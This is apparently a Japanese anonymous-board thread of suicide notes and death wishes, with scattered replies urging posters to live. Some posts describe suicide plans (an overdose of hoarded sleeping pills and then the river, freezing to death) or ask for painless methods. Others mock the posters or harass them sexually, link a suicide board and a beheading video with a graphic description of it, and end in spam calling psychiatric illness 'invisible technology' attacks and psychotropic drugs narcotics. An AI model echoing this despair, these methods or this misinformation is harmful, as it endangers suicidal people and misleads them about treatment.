死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい

負け組みおつ

世界で〜ひ〜とつだ〜けの花

に、なんら感銘を受けなかった自分は終わってますか

>>155 正常です。

少し前のことだが、極鬱でもう死のうと思い　普通の遺書では芸がないので
英語で書いてみた。最後にSpecial thanx to...とカッコよくシメたかったのだが
感謝したい人なんてほとんどいないし、読み返してみるとなんか凄いマヌケな感じで
馬鹿馬鹿しくなってやめた。綺麗に死ぬことすらできない自分・・・出口なし。

>>156
先には自分の名前を書いておあげよ、
ここまで頑張ったのだから。

>>157さん
どうもありがとう。
出来る事なら貴方の名前を書きたいです。

地震や水害などの天変地異で死にたいです。
或いは病死。
こういった物なら家族も受け入れやすいでしょうから。

親兄弟に迷惑を掛けないためには、生きていた方がいい。自殺して人様に
迷惑をかけるとかなりの賠償をしないといけない。ホテルで死ねばホテルに
賠償、線路に飛び込めば電鉄会社に賠償。半端な額じゃない。
家で死んだって検死だのなんだので近所は大騒ぎ、親は引っ越さざるを
得ない。借家なら、死人を出したら賠償は免れても大家に一生顔向けできない。
大家に知り合いが入る地域ならまず家は借りられないし、遠くに引っ越すなら
転職しないといけないでしょう。持ち家なら、更地にしたって半額でも買って
もらえれば僥倖。親兄弟のことが頭にあるならやめといたほうがいいよ。

生まれてこなけりゃよかったよ・・・

>>156
�dクス
世/界/の/中/心/で愛/を/叫/ぶ/を見ても
涙のひとかけらも出なかった

156-157タンのレス読んだ方が，よっぽど優しい気持ちになれる

とりあえず、やるべき事はやったからなぁ

パトロン見っけて、法人の起ち上げから始めて
お役所と遣り合いながらも福祉施設を設立して
今春から多くの方々に喜んで利用してもらってる。

んで、今
何故か懇意にさせてもらって、入れ込んでいるお寺さんがあって
いろいろ寄贈させてもらった品々で「宝物殿」建設の可能性が出てきた。
実現したら死んじゃってもイイなぁ、っていうか死ぬだろうなぁ
でも
御袋の老後の世話はしたいんだよね　　　　　分からん

結婚はしたかったけど
死ぬとなると話は別だねぇ独身のままで良い、か

>>163
なんでこの板にいるの？
あなた健康で立派に見えるんだけど

死んでしまってどうするよ。

もう二度と寝る事もないし食べる事もないし
今日歩いた歩道沿いを二度と歩く事はない。
今生きている自分の姿を二度と見ることもない。

生まれ変わった時…きっと今と変わらずに苦しい事も辛い事もあるけれど
それでも耐えて歩いていけるか今死んで分かる事もないんだ。

何か努力しようよ。
諦めてしまって本当にいいのか？
辛い事なんかに自分の気持ちをいつまでも害していてどうするよ

今日を生き切るんだ
生きて生きて生きようとするんだ
例え努力が報われなくても
周りに蹴落とされても
努力した偉い自分を見て見るんだ


そうすれば心がふっと軟らかくなる

>>164
死にたいからだねぇ
薬で無理矢理に這いつくばるのも限界があるよ
それで
もう限界かなと思う、やる事はやったと思う、友人も居ないし辛いし疲れた

>>166
あなたは立派に社会に貢献しています。
あなたは世の中に必要な人です。
死ぬ理由はありません。

死ぬべきは俺みたいな役立たずのクズです。

過去に親が自殺したら、子供にも伝染するのですか？ｱﾀｼは6年前の16歳の時に母を自殺で亡くしました。その事が要因で、ｱﾀｼは精神病になり、死にたくなる時が多々あり、過去未遂もしました。
強く生きてけません｡･ﾟ･(ﾉД`)･ﾟ･｡

何にもなれず、何も変えられない私に、
生きてる資格などありません。
私の存在は、在るだけで邪魔なんです。
だから、消えます。
…ただ、貴方に出逢えたことは、幸せでした。
さようなら

>>167
貢献し終わっちゃったんだよ、多分。今は惰性と薬で無理やり生きてる
死ぬ理由は幾らでもあるよ
例えば寂しいっていう理由だけで死んじゃダメかぃ
オレは大いに「有り」だと思うよ

>>170
あなたはまだまだ世の中に貢献できますよ。

私なんて、まだなんの貢献もしていません。
これからも貢献できる見込みがありません。
私は生まれてきた意味がありませんでした。
私のようなクズが死なず、新潟の立派な方々や
未来ある赤ん坊が死ぬんなんて、
世の中不公平すぎます。

自分は偉大だと思っていた。
もっとステイタスのある仕事に就けると思っていた。
今から考えれば大きな勘違い。

一度、雇ってくれそうなところがあった。
大きな会社で安定していた。給料も良かった。
でも、些細な事で仕事内容に満足できず、辞退した。
自分はもっとすごい仕事をするはずだったから。

でも、実際の私はどこからも雇ってもらえない役立たず。
これに気付かずに人生を棒に振ってしまった。
生きているだけで親に迷惑かけてます。
本当にごめんなさい。

人生には幾度か絶好のチャンスがあります。
私の場合、就職できそうなときがそれでした。
その仕事は今から考えると、私にぴったりの仕事でした。
非常に安定していて、かつ高給でした。
しかし、何故か辞退してしまったのです。
就職に対する不安を、その仕事に対する嫌悪感と読み間違えていました。
へたな人生論本を読んだせいです。
取り返しの付かない事をしました。

今では自分が嫌で嫌で仕方がありません。
これから私の人生は落ちぶれる一方でしょう。
もう、幸福感を感じる事は出来ないと思います。
早くこの世からさようならしたいです。

>>171
ちょいと気恥ずかしい事でも書いてみる
>>171は１０数年前から数年前までのオレみたいだと思った
引きこもり中は、そんな事ばっかり考えてた。結局死ぬ勇気が無く、今に至るが

オレは、ほんの数年前に初めてメンクリに通って
治療薬をもらって、それで人並みの仕事をやり終えた。高校中退の青二才がさ
また結局、ここに出戻りだけどなぁ
>>171医院には通ってるかぃ？親孝行でも社会貢献でも、やってみな
ただし自分のペースを守ってな。　まだまだ大丈夫

現在風俗嬢。辞めたい。もう、嫌で嫌で仕方ない。でも、辞めて何をしたらいいか解らない。多分、何も出来ない。辞める勇気もない。疲れた。こんな毎日がずっと続くなら死にたい。

>>175
辞めたら結婚しませんか
３１歳、年収（去年）税込３５２万、貯金無しの極貧・不細工・甲斐性無しですが

とりあえず入籍からでも
[email protected]

その条件で結婚さそうってお前無茶だよ
せめて本アドさらして誠意ぐらい見せとけ

プチ遺書
http://www.p-apple.net/isho/index.html

自殺掲示板
http://citrus.lv3.net/suicide/

>>177
まぁ、貯金ゼロにも低年収にも、それなりの理由があるんだけどね
オレは結婚したいし、彼女は辞めたら何をすれば良いか解らぬと言うし
じゃあ、結婚したらお互い死なずに済むかも知れぬと思ったんだけど。

ところで
>>177は何しに来たの、遺書も書かずに。
オレの愚かさを、わざわざ晒しに来たのかな
この板に自信満々でプロポーズできる輩なんていないだろうね

家族の言葉も友達の言葉も全て言い訳に聞こえる。
「自分達はここまで心配したのに…」って…

こんな風に考えてしまう私はもう死んだ方がいいと思います。
リスカして落ち着くなんて事もなくなってきました。
眠剤のストックも今週の処方でなんとかなりそうです。
近所の川は汚いけど、夜中にありったけの眠剤を飲んで
飛び込もうかと思ってます。

今までありがとう。さようなら。

>>179
ほんと、”それなり”の理由がありそうだね。

>>181
オレの場合は
補助事業関連等の理由で、メンヘルとそれほどは関係ないけど
メンヘル板だし、様々な理由が無い方がおかしい

こんな結果になってしまって本当申し訳ないです

旅行だなんて嘘言ってごめんなさい。

さようなら

↑
今年（来年）の冬に凍死する場所の最寄りのポストに投函しようと思う

死ぬな、とは言わない

せっかくだから新潟で過労死しようぜ！

彼はイラクに死に場所を見つけた。

うつに絶大に効く療法を発見。その名も「アルカイダ療法」

【アルカイダ療法】
精神的に病んだ様子をみせかけて「死にたい」という言葉を
連発している若者を、イラクでイスラム過激派を名乗る武装
集団・アルカイダ組織に人質として拘束させ、心の底から
「生きたい」という言葉をはかせる療法。

http://www.chunichi.co.jp/iraq/041030T1725.html

生まれてきてから幸せな時はいっぱいあった
きっと人より幸せな時間を過ごしただろう
17の時の同級生と6年付き合って、結婚の約束したけど
いつの間にか女を部屋にあげて一緒に暮らしてた
相手は大学を卒業して就職して幸せになっていった
私は仕事をやめた。辞めたのはそのせいじゃなくて別の理由だったけど

一年後ネットで知り合った『死にたい』が口癖の男の相談役になった。
惚れられて家まで来られ、住みつかれた
帰って欲しかったけど理屈をこねて帰らなかった
冷たくして私のせいで死んだと言われるのが嫌だった
誰にも相談できなかった

私はその男の子供を妊娠した
無職のその男の子供を産むことは出来なかった
何よりスロットばかりやってるその男と結婚したくなかった
相手は「生んで欲しい」と言ったけど。

堕ろした後は男は帰っていった
私と出会ったことを幸せだったとは言わなかった
今でも「死にたい」と言っているのを見て「死ねば」と言ってやった。
今どうしているのかは知らない。

私は短大を出て取った資格を持っているけど、仕事が続かない
働いて生きる事が辛く感じて仕方ない
親は周囲は「続ける忍耐力を持て」と言う
でも持てない。楽な生き方ばかりしてきたから我慢する力が根本的に無いんだろう
変わろうとすることにも疲れた
SMクラブでM女として勤めてみた
怖かったけど自分を解放できた気がする
でも体を傷つけることに罪悪感を感じるようになってしまいそこも辞めた

死にたいです
いきることはつらい
生きてても無駄
親に「大丈夫だから」と笑顔作るのももう限界
ていうか死んだ方がいい
誰か痛くない死に方教えて下さい
直に連絡取るのは無理です
ここに書いてください。

書いてること矛盾してる。
でももう何も考えたくない。無になりたい
終わりたい。たすけて

誰も幸せに出来なかったら生きてる意味無い
これ以上人を不幸にして生きていたくない
生きてるだけで不幸にしている人のほうが多い

幸せだった時間さえ罪のような気がする。
私見たいなのが幸せになる資格は無かったんだよ。

生まれてごめんなさいおかあさんおとうさん
本当に死にたいと思ってしまっています
私以外の人が子供だったら幸せだったろうな

sinitaisinitaisinitaisinitai...

ID:AsmWbFuH
uzeeeeeeeee

今凄く死にたい

物凄く死にたい

だったら、はやくイラクへ逝けよ！！
この腰抜けが！

イラクに行くといろんな人に迷惑がかかる

高画質版：http://www52.tok2.com/home/upload/cgi/upload/source/up0046.lzh
オグリッシュ版：http://www.ogrish.com/attachments/2004/11/2/ogrish-dot-com-shosei-koda-beheading-video.wmv
？？？(http://impulse.dyndns.info:9999/uploadedFiles/37544e60-eab3-4e88-b2d5-afa9b33b44dc.wmv )

00:00：アラビア文字の白い字幕。背後は黒オヤジがコーランぽいのを読んでる。
00:10　アラビア半島を中心とした地球儀に突撃銃が意匠された奴らのマークが浮かび上がる。
00:20　怪しい音楽が始まり、アラビア語の字幕が浮かんでは消える。
00:34　学校みたいな閉鎖された部屋。壁には例の黒い旗。一人香田君が正座させられてる。
00:42　3人の執行人が画像処理で現れる。　何か紙に書かれたものを読み出す
02:05　真中の人間が読み終える。即執行開始
02:10　入刀。うごぉ・・・とうめき声
02:12　アラーアクバルを続ける男たち。首が切られつづける。
02:14　血が噴出す。ピストン運動のように、首にナイフを入れ出しする男。
02:26　最後の「むご」という音とともに、再びアラビア風ＢＧＭ始まる。
02:28　視点が変わって、米国旗の上で首を切りつづける。
02:30　切断完了　胴体の上に首
02:33　シーンが変わり、男たちが首を掲げる。背後は例の旗。顔がupになる
02:41　米国旗の上の胴体に首が置かれるjpgと同じ構図になる
02:45　最後に幸田君どあっぷ
02:48　自分たちの旗が写る。

パスポートって自筆のサインが記載されるから
遺書の筆跡鑑定にあてられていいね。
死んだあとの身分証明用のパスポートの中に
遺書を挟んで逝こうと思います。

彼は何故私を抱いたんだろう？
神様は私が死ぬ前に優しい思い出をくれようとしたんだろうか？
でも、私はもう一度生きてみようと思った。愛してくれると思った。

だけど彼にとって私はただの性欲処理に過ぎなかった。
一瞬でも何かを期待した私がバカだった…
忘れてたよ。私は誰からも真剣に愛された事がなかったって事を。

もうここにいても仕方がない。
逝くべき場所へ向かいます。さようなら…

>202
愛してないけど、セックルしたいよ

幸せだから死にます。
死ぬのはずっと怖いと思ってたけど、
こんなに想ってくれるお姉ちゃんと友人と親友がいるってわかった。

なにより、愛する人ができた。
相手は私のことを好きにはならなかったけど
少しの間だけでも一緒に暮らせたから幸せ。
色々悩んで辛くて死にたいって思ってたけど、
変わってしまったのは、自分なんだと気づいた時に楽になった。
妾だけ見て欲しい。妾だけ触って欲しい。妾だけ愛して欲しい。
いつのまにか自分のことしか考えれなくなってしまったことにも気づかず
キミを責めようとしてごめんね。
大好きです。
愛してます。
自由に戻すね。
実家に帰るとか嘘ついてごめん。
最後の嘘だから許して。

実家に居場所があるってゆってくれたお姉ちゃんありがとう。
本気で嬉しかった。
妾の様子を察知して、電話くれた友人と親友
ありがとう。
妾のために泣いてくれる人がいるなんて考えたこともなかった。
みんな大好き。
お父様、お母様勝手に家飛び出してごめん。
最後まで会う勇気はでなかったけど、妾は今、スゴイ幸せでう。
生んでくれてありがとう。
育ててくれてありがとう。
最後まで、期待に添えなくてごめん。
でも、これが妾の自分で見つけた道。
妾は幸せです。
お兄ちゃんも心配かけてごめん。
幼少期の大半はお兄ちゃんとの思い出でいっぱい。
ありがとう。

妾の最後の迷惑を許してね。
大丈夫。
一時的な感情。
妾がいなくなっても。
時間は進む。

人生なんて死ぬまでの暇つぶし。
もうちょっと。
もうちょっとで、妾の暇つぶしは終わり。

>>207
死ぬの(・A ・)ｲｸﾅｲ!

一人称、妾ってはやってるのか？

>>209
生姜の姜の字に似てるよね

>>210
うん、似てるよね

あの時笑ってた自分が懐かしいくらいです。
まだ一ヶ月も経たないのに…
何気ない言葉があなたを傷つけたんですね。
だからあなたは私の前から消えてしまった…

あなたのいない日々は私にとって何の意味もない。
あなたには引っ越しますとだけ手紙を書きました。
場所は書きませんでした。
だって、この世に私の居場所なんてないんだもの。

さようなら、どうかあなただけは幸せになって下さい。

前スレで、何があったのですか?

便所女はいまから逝きます

ごめんなさい

今まで必死に育ててもらったのに、何の恩返しも出来ませんでした。
些細な事を気にしすぎる性格のせいで、結局どこにも就職できませんでした。
就職のチャンスは何度か有ったのです。しかし、全て断ってしまいました。
もう、どこにも就職できないでしょう。
学費を沢山払わせてしまいました。迷惑かけっぱなしです。
これ以上生きていても、お金を食いつぶすだけで何の役にも立たないでしょう。
僕のせいで老後の資金が減ってしまうのであれば、僕など生きていてはいけません。
今まで有り難うございました。

そして、ごめんなさい。

借金苦で死にたいです。もう200万も払えないよ！
誰か金になる死に方教えて下さい！
もしくわいい仕事ないもんですかね？

>>216
２００万？　ぷ

・・・俺なんて４００万円だぞｗ
奨学金だけどね。無職だから返せませーん

>>217
ごめん、少し勇気づけられた。
奨学金もローンも借金なんだよね、考えてみれば。
４００万か。　すごいな。　
私も２００万ぐらいあるけど　落ち込むだけ損だな。
細木かずこは１０億借金あったそうだ。
死のうとおもったが　思いとどまって働いて借金返してしまった。

まぁ、俺の場合は第一種奨学金のため、利子が付かないんだけどね。
「払えません」って手紙を書くと最長５年まで先送りできる。
生保受給者も、受給している間は先送りできる。

最長５年まで
↓
最長５年まで返済を

死にたい…

大抵の問題は、死ななくても解決する事に最近気付いた

>>213
違う話だったら悪いけど…前ｽﾚ、アコって言うかなり大変な思いした子が自らむごい自殺をした。自分で歯を抜いて焼死だったはず。

嘘だと嬉しいんだけどな…

>>222 もっと詳しく教えてください。

イラクに行けない腰抜けのあつまるスレ

>>223
アコ＝みゆ＝旧409＝みづき

別板で、今も元気に自作自演してるよ

>>226
アコはIP違ったよ。

遺書書いちゃお。
　産まれてきてごめんなさい。
　いないほうがいいなんてわかってたのに今まで生きてきてしまいました。
　さっさと逝きますが、みんな幸せな世界を作って下さい。
　そしてみんな幸せになってください。
　次はいい世界に産まれたいな。

次なんて、無いよ

現代の日本より、幸せな時代も国も無いよ

今、ココでだめなら、もういつの時代でも、どこの世界でも無理なんだよ

病気になってごめんなさい。
仕事にいけなくてごめんなさい。
まともな生活が出来なくてごめんなさい。
自分を傷つけて悲しませてごめんなさい。

親より先に逝くのは親不孝だといいますが、それは親の都合、
こちら娘の都合もありますので逝かせていただきます。
大変申し訳ありませんが逝った後の事よろしくお願いします。
私の代わりに、私の分まで犬を幸せにして下さい。
今までありがとうございました。

>>229
　そうですか・・・
　生まれ変わっても虐待いじめ、兄からあんなことやこんなことをされ
　死ね死ねいわれるこの人生から良くなることはないんですね・・・
　なんかもう・・・次なくてもマジ逝きます。
　私みたいに死んだほうが幸せな人もいるんだお・・・

>虐待いじめ、兄からあんなことやこんなことをされ

こ、ここの詳細を詳しくｷﾎﾞﾝﾇ！ﾊｧﾊｧ

ゴミは捨てなきゃいけない。

だから漏れは
捨てられなきゃいけないんだ

屑が
生きてても目障りなのはわかってるからよ。

殺人犯したい椰子
是非とも漏れを殺してくれよ

自分って何だろう
もうわからなくなってきた
大切な人を振り回すだけ振り回して、困らせて、悩ませて・・・
私なんて生きてても苦しみを生むだけだね
迷惑かけてごめんなさい
自分のことしか考えられないｶﾞｷでごめんなさい
幸せになってね。

消えて無くなりたい。
両親さま、私の事は忘れて下さい。

アルバム開いて気付いた事がある。私の産まれた日みんな笑ってた。

KOKIA

まず詫びねばなりません。
一番悲しませることをしてしまって本当にごめんなさい。

あなたと過ごした日々は楽しかったです。
全く何の不満も無かった。
４年間とても幸せでした。本当に感謝しています。

止められたはずだなどと自分を責めないでください。
遅かれ早かれ、私にカタストロフが訪れるのは確実でした。

私は自分で自分をわざわざ窮地に追い込んで、
身動きを取れなくしてしまいました。
何とかできるチャンスはいくらでもあったのに、
自分からそれを駄目にしてきたのです。
まだ若い、未来はあるじゃないかと人は言うけれど、
私にはその未来が恐ろしかった。
そこにある選択の自由とやらが恐ろしかった。
私には決断力や行動力が決定的に欠けているような気がします。
私は今まで何も選択できず、何にも取り組めなかった。
このまま生きていても、
人を羨み、妬み、後悔に身を焦がしながら、
けれども自分からは何も行動できず
何者にもなれずにただ年をとっていくしかないのです。

あなたをはじめ、私の周りの人々は私にとても良くしてくれました。
私は自分を取り巻く状況に嫌気が差したのではありません。
私は自分自身に深く絶望したのです。

あまりにも身勝手ですが、あなたには幸せになってもらいたい。
納得できる人生を歩んで、胸を張って生きてください。
今まで本当にありがとう。さようなら。

何処かに旅行に行かないか？片道旅行。

誰もいないところに行きたい。
頼むから俺に指図するな。
いいかげんにしてくれ。
もう消えたいんだ。

母親が天国で待っている様な気がします。
御免なさい。そして、有難う。

びっくりさせてごめんなさい。
ずっとずっとみんなを悲しませないで、困らせないでいく方法を
考えたけど見つからなかった。
私がちゃんと生きられればよかったのにね。ごめんね。
なんて無責任なんろう、私。
本当にごめんなさい。

お母さん、お父さん、お兄ちゃん
みんな大好き。今まで本当にありがとう。

>>242

×なんて無責任なんろう、私。
○なんて無責任なんだろう、私。

劣等感が強すぎてもう駄目っぽい。。。

パソコンで遺書作ろうとしてるけど手書きの方がいいのかな。
パソコンでも最後に名前書いたら遺書として通じるんですか？

私が自らの人生を絶てば、辛かったと
しんどい人生だったとみな分かってくれるでしょうか。
Dr、近親者、数名を除く友人たち…
あえてその道を選んだ時にはどうか最後に
喜んで欲しい。

おまんこに海中が

何不自由ない生活を送らせてくれた両親。こんな風に幕を閉じてしまい、ごめんなさい。
私の存在を残すつもりはないので、全てのものは処分してください。
お葬式もいりません。骨も海に巻いてくれればそれでいいです。
最後に私の支えになってくれた大好きな人へ。
弱い私をどうか忘れてください。
貴方は強い人だから、これからもそのままでいてください。
今まで本当に有難う。さようなら。

精神病の真実
http://life7.2ch.net/test/read.cgi/utu/1103049211/

>>1-249
死んではだめ。
何故なら我等は所詮、生き物
希望がなくても生きていける。
私も死にたかったのですが、こう考えたら少しは死にたくなくなりました。

>245
遺書ならパソコンでもいいんじゃないかな。
ただ、遺言状なら自筆でないと無効。
ていうか生きてください。

しんちゃん、どれくらい飲めば死ねるのかわからないんだけど。
死んでしまった赤ちゃんのそばに
少し先に
いかせてください
ごめんなさい

久しぶりにここ来た

誤爆orz

生まれてきてごめんなさい
私なんかいないほうがみんな楽しく暮らせるんだよね
何も望みを叶えてあげられなくてごめんね
今までずっと辛かったから、どうか怒号や暴力の無い世界に早く行かせてください

引っ越せ

今凄く死にたい

ごめんね
でも私には踏ん張る力もう残ってないよ。
たくさん迷惑かけて本当にごめんなさい。
私みたいな子供でお父さんお母さんごめんね。
心配ばかりかけてお兄ちゃんごめんね。
頼りないお姉ちゃんでごめんねりょうすけ。
生まれてきてごめんなさい

今日も元気に自殺気分でがんばろう

激しく死にたい！
永眠を希望します
どうぞ生まれなかったことにして下さいな！
自分勝手で悪いね、けどこうする他に安らかで居られる方法が
見つからないんだ。
毎日同じ事を繰り返して、いつ終わるのか？考えるだけで
頭がおかしくなりそうだよ。
もし、そんな私に優しくしてくれるなら、
「何で死んでしまったの？」なんて墓の前で聞かないで。
私が選んだ道を否定しないで、責めないで。
「ゆっくり休めよ」とでも言ってくれ。
肉体が無くなるだけじゃないか、私はいつだって地球という生命体の一部
何も寂しいことなんてない。私もお前達も。
どうしても希望が持てないから、そういう道を選ぶけど
この世界で生きて、幸せだって思ったことは一杯あった。
だから何も悔いなんてないんだ、心配しないで。
じゃ、またね！

　　　　　　　　 ／""`'･.,
　　　　　　　　 ,/'　　　..::::＼.,__,,,.....,,,__
　　　　　　　　,i'　　　 ...::::::::"""　　　　`''･-､.,_　　 _,,......,,,_
　　　　　　 　 i'　　...::::"　　　　　　　　　　　":::`･'"~　　　:|
　　　　　　　 /"　　　　　　　　　　　　　　　　　" ::::　　...::,l
　　　　　　 ./'　　　　　　　　　　　　　　　　　　　　　"::::::/
　　　　　　.i'　　　　　　　　　　　　　　　　　　　　　　　::"i,　
　　　　 　 i'　　　　　　　　 ●　　　　　　　　　　　　　.::::::|　
　　 　 　 .i'　　　　　　　　　　　　　　　　　　　　　　　.:::::::| 　あなたが無駄にしようとした
　　　　　 i;　　　　　　　　　　　　　i､.,　 　 ,.　 　 ●...::::::::| 　一日は、生きたいと思っても
　　　　 　 '､　　　　　　　　　　　　| 　`"~'/　　　 　 ::::::::ﾉ 　生きられなかった人の１日
　　　　　 　 ＼　　　　　　　　　　 l,　 　/　　　　　.:::::::/ 　　
　　　　　　　　 `/(　　　　　　　 i.,_,／　　　　 ...:::::ノ'
　　　　　　,.-'"~ ~"ｰ-.,,__　　　　　　　　　　.....:::::::ノ'）.,
　　　　 .／=ｰ'"~"`ｰ-.,_~"＼-.,_　 ,...,_　"";.-､::／ﾉ::: 'i,
　　　 ／￣　　　　:::::〜`i.():::＼`""|　`（^）;;;;;|;;／;:::::::: 'i,
　 .　/　　　　　　　　　::::::`i |:::::）:;;;;;i､,／人_ノ;;;;'i,:::::::::::　i
　　 |　　　　 イキロ　.:::::::|/::::└ｰ-,;;;＼；i;;;;|／;::::::::::::　i
　　 i.,_,.人　　　　　　 ..::::::/ :::::::::::::／;;;;;;;'i,'i;;;;|＼;::::::::::::　i
　　　　　 `;　 　 　 .::...:::::/　　:::::::::::`- .,_;;;;i,ﾉ;|;;;/;:::::::::::: /
　　　　　　`､.,..:::::::::::::::::/　　 :::::::::::::::;;;;;;＼,i ,/;;;;;:::::::::::|/
　　　　　　　 `i"`-.,_,.ノ　　　::::::::::::::::;;;;;;;;;;;＼|;;;;::::::::::::|
　　　　　　　　|　　　　　　　:::::::::::::::::::;;;;;;;（）;;||;;;::::::::: .ﾉ

ヤベ、かんじんなところでずれてるorz

精神病の真実　（政治板）
http://money3.2ch.net/test/read.cgi/seiji/1102516267/l50

世界大百科事典　精神分裂病と向精神薬　より抜粋

「分裂病の原因はなお不明だが〜発生頻度はあらゆる民族，あらゆ
る時代を通じ不変で， 0.7 〜 0.9 ％程度とされ，日本でも同様だが，
1963 年の全国調査以後は信頼できる統計がなく，近年の頻度に増減が
あるか否かは明らかではない。」

「精神分裂病には抗精神病薬を数年にわたって長期与薬しなければなら
ぬが，あまり長くなると口や舌がもぞもぞと動いてしまう遅発性ジスキ
ネジアと呼ぶ副作用が出る。これを治すのは難しい。」

「向精神薬が脳のどこへどのように働くかについてはまだよくわからない」

「病気の機序が不明なところへ，作用のしくみがよくわかっていない
精神治療薬を与えて治そうというのには無理がある。」

今までいっぱい迷惑かけてごめんね。しつこくしてごめんね。あなたに死ねって言われたのは当たり前だよね。もう迷惑かけないからね、幸せになってね。

神様もう死なせて
俺はもう何も望んでないって
これ以上何を頑張れというんだよ
鬱

>>261-262
その言葉考えた奴と気安く使う奴本気で殺してやりたいけどな

こんなにも深い眠りを希望するのは、この世界で希望が持てないから。
誰のせいでもないし、誰かが悪いわけでもない。
私が、希望を見付けられなかっただけ。
”生きていれば良いこともある”なんて人は言うけど、
私の考え方、物の見方、感じ方、対応の仕方、
私の脳味噌の創りそのものが変わらなければ、１００年生きても
同じ道をいつまでもグルグルと歩くだけ。
それがわかるから、お終いにしたいのです。
少し前は、死ぬということがとても怖かったけど、今は違います。
永久に目覚めないのなら、死は私に安住の地を与えてくれます。
もう、本当に疲れてしまったのです。
私を、そっと、休ませて下さい。

面倒くさいので死にます
別に生きるのが辛かった分けでも
つまらなかった分けでもないのですが
誰かを恨んだり、嫌いになったり、
傷つけたり、傷ついたり、
もう沢山だったので
そんなことを感じながら
生きていくということは疲れるので死にます
親不孝と罵って下さい
駄目人間だと罵倒して下さい
気の済むまでして下さい
今まですみませんでした
生きてきた上で、少なからず迷惑はおかけしたので、
恩を仇で返すような形になってしまうことをお許し下さい

さようなら、私のことは初めから存在していなかったとお考え下さい。

●親展「精神疾患」でお悩みの皆様へ�@●　

　千葉県八街市の市議会議員を務め、千葉県民主党総支部連合会に所属する石
橋輝勝議員が「組織犯罪としてある見えないテクノロジーによる被害者の会」
（略称　被害者の会）を結成し精神病とされる症状の中には反社会的勢力によ
って物理的に引き起こされているため、それらの被害者に対する救済活動を行
っています。

　例えば「幻覚」や「幻聴」、「顔面神経症」、「睡眠障害」、「耳鳴り」、「電磁波
過敏症」などの現象も今日の科学技術の発展によりそのような作用を様々な「
テクノロジー」を用いて物理的に引き起こすことが可能であり、精神病が原因
としてそのような症状が引き起こされると断言することは出来ません。

　我々は新興宗教とは異なり、これらの現象が「超能力」や「未知の技術」
により引き起こされていると主張するのでなく、民主党の支援や私の親戚で
ある警察庁本庁にて会計課長を務めたＯＢの証言に基づいて、そのような技
術が存在するという確かなる「検証」を基に活動しています。

　しかし、特別刑法や公務員に対して課された守秘義務の関係で全てを合法的
に開示する事は不可能であるため、現在のところその存在を裏付ける根拠として
合法的に開示できるものは特許や計測器のみです。

●親展「精神疾患」でお悩みの皆様へ�A●

　こうした主張は「精神障害者」による典型的な発言と誤解される方も
いるでしょうが、精神病は他の医科と比較して最も解明がなされていない
分野であり、多くの精神病が発病する原因やその治療方法も完全には確立
していません。

　例えば２大精神病の一つである「統合失調症」をとってみても「原因は
なお不明」であり「発生頻度はあらゆる民族，あらゆる時代を通じ不変で
， 0.7 〜 0.9％程度とされ，日本でも同様だが，1963 年の全国調査以後
は信頼できる統計がなく，近年の頻度に増減があるか否かは明らかで」あ
りません。

　そうした事を裏付けるように精神科医が日常的に処方する「向精神薬」に関
しても「向精神薬が脳のどこへどのように働くかについてはまだよくわか」っ
ておらず、「病気の機序が不明なところへ，作用のしくみがよくわかっていな
い精神治療薬を与えて治そうというのには無理がある」（引用*世界大百科事
典　精神分裂病と向精神薬）とあるように「完治」を目的としたものでなく
、様々な障害を誘発します。

　向精神薬が「麻薬中毒者や覚醒剤中毒者」のように身体的に重度の障害を
生み出す原因として向精神薬にはアンフェタミン、メタンフェタミン、コカ
イン、メチルフェニデートなど覚醒剤や麻薬と同様の成分を含む事があげら
れます。

●親展「精神疾患」でお悩みの皆様へ�B●

　そうした事から、国際条約である「向精神薬に関する条約」（１９７６年発
効）によってその販売・所持は規制されており、国内においても「麻薬及び向
精神薬取締法」の「第６６条の４」に基づき濫用者に対しては刑事罰を設けてい
ます。

　よって、重病でもないにもかかわらず安易に「向精神薬」を服用した場合
、かえってその「向精神薬」の副作用によって症状が悪化する可能性があり、
ます。

　「テクノロジー」を用いて様々な症状が物理的に引き起こされている可能性
もある中で、世の中の偏見から「精神疾患者」とされている皆様が民主党が
支援する「組織犯罪としてある見えないテクノロジーによる被害者の会」に
相談なされる事を奨励します。詳しくは以下のホームページ並びに、掲示板を
ご参照ください。

●親展「精神疾患」でお悩みの皆様へ�C●

●被害者の会について●

組織犯罪としてある見えないテクノロジーによる被害者の会
http://www2u.biglobe.ne.jp/~mcva-jp/index.html

被害者の会　会長　石橋輝勝　市議会議員　民主やちまた
http://www5f.biglobe.ne.jp/~minshuyachimata/

民主党千葉県総支部連合会　
http://www.minshu-c.com/giin.htm#ippan

●掲示板●

「見えないテクノロジー」の一つとして考えられる「エシュロンの真実」
http://money3.2ch.net/test/read.cgi/seiji/1102516267/l50

●親展「精神疾患」でお悩みの皆様へ�D●

●参考●

麻薬及び向精神薬取締法　第６６条の４
１　向精神薬を、みだりに、譲り渡し、又は譲り渡す目的で所持した者
